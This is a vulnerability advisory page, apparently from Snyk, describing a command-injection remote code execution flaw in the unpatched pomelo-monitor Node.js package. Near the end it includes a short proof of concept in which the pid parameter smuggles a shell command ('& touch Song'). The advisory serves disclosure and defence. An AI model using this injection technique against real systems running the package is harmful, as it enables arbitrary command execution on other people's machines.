Remote Code Execution (RCE) Affecting pomelo-monitor package, versions *


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.37% (74th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Remote Code Execution (RCE) vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-POMELOMONITOR-173695
  • published28 Dec 2018
  • disclosed14 Feb 2018
  • creditJHU System Security Lab

Introduced: 14 Feb 2018

CVE-2020-7620  (opens in a new tab)
CWE-94  (opens in a new tab)

How to fix?

There is no fixed version for pomelo-monitor.

Overview

pomelo-monitor is a Simple, comprehensive monitoring tool for operating-system and process in nodejs.

Affected versions of this package are vulnerable to Remote Code Execution (RCE). It is possible to inject arbitrary commands as part of pomelo-monitor params.

PoC


var root =require("pomelo-monitor");
var param ={
  pid: "& touch Song "
}

root.psmonitor.getPsInfo(param,function(){});

CVSS Scores

version 3.1